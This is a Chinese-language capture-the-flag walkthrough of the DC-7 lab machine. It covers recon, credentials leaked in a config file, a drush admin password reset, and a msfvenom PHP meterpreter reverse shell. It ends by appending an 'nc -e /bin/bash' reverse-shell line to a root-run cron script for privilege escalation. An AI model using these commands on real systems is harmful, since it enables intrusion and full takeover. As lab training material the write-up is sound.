DC-7渗透测试
信息收集
地址探测
使用arpscan对目标地址进行探测
arp-scan -l I eth0
得到目标主机IP地址为172.30.1.132
扫描端口
使用nmap对目标主机做端口扫描
nmap -sS -sV -T4 -p- -O 172.30.1.132
扫描到目标主机开启了80端口、22端口。
-sS Nmap的SYN扫描,也叫密码扫描,也是Nmap的默认扫描
-sV 对服务版本做检测
-T4 野蛮的扫描
-p- 对所有端口做扫描
-O 对目标主机服务器版本做扫描
CMS探测
使用whatweb对目标主机进行CMS扫描
whatweb -v http://172.30.1.132//-v 显示详细信息
这里看到是Drupal
Http探测
访问目标网站
提示说暴力破解或者字典攻击是不能成功的,要跳出这个常规思维
我们在网站的页脚看到有个名称,那我们可以对这个名称进行社工。
漏洞探测及利用
代码审计
将源码下载后进行代码审计
cat config.php
看到源码中有config的文件,这个肯定是配置文件,可以看一下。
username = "dc7user";
password = "MdR3xOgB7#dW";
看到有个用户名和密码,去网站登录发现登不上。
扫描端口的时候看到开放了22端口,尝试一下通过ssh登录。
获取shell
通过ssh登录
ssh dc7user@172.30.1.132
登录成功啦
信息收集
这里看到有好多邮件
mail
而且每个邮件相隔15分钟,应该是个脚本文件。
输入1,先查看第一个邮件
退出 q
还真是个脚本文件,路径是/opt/scripts/backups.sh,看一下这个脚本
看到一个drush程序
漏洞利用
Drush 是一个用于 Drupal 网站管理的强大命令行工具。通过 Drush,开发者可以在终端中执行常见的 Drupal 操作,如安装、更新、清理缓存等,极大地提高了开发效率。
drush全称drupal shell,是drupal基于命令行的工具,常用命令:
$ drush cr 各种清缓存
$ drush pm-enable 安装module
$ drush pm-uninstall 卸载module
$ drush pm-list 显示所有modules and themes列表
还可以更改用户名密码
drush user-password admin --password=admin
更改admin的密码,这时候我们去网站尝试登录,发现登录成功。
登录到后台尝试写入木马
通过安装PHP模块
Manage>Extend>List>Install new module
启用PHP Filter模块
下方有个Install按钮
测试PHP filter模块是否能正常使用
其目的是允许执行php代码的页面
使用msfvenom 生成php木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.30.1.20 LPORT=2226 -f raw
写入
提权
使用msf侦听获取shell
use exploit/multi/handler set payload php/meterpreter/reverse_tcpset LHOST 172.30.1.20set LPORT 2226exploit
还是刚才那个脚本,因为这个脚本文件使用root权限执行。
反弹shell
echo 'nc -e /bin/bash 172.30.1.20 7777' >> /opt/scripts/backups.sh
来到这个脚本文件路径下,利用nc反弹shell
Kali端侦听端口
nc -lnvp 7777
cd /root
cat theflag.txt
这个时候要等,因为这个脚本文件是每15分钟执行一次,所以只需要等待就可以。
总结
1、网站页脚看到管理员的名称,对管理员名称进行社工。
2、github中下载源码进行代码审计,config也就是配置文件看到用户名和密码。
3、在网站中登录发现不行,之前还扫到一个22端口,通过22端口远程登陆上。
4、通过查看邮件发现使用了drupal中drush程序,这个工具可以更改用户的密码。
5、过drush更改用户的密码,登录到网站后台安装php模块。
6、使用phpinfo进行测试,是否可以正常使用。
7、使用msfvenom生成php的恶意执行代码。
8、邮件通过脚本执行,每15分钟执行一次,把nc的反弹shell写入脚本文件,攻击端侦听,等待目标主机执行脚本。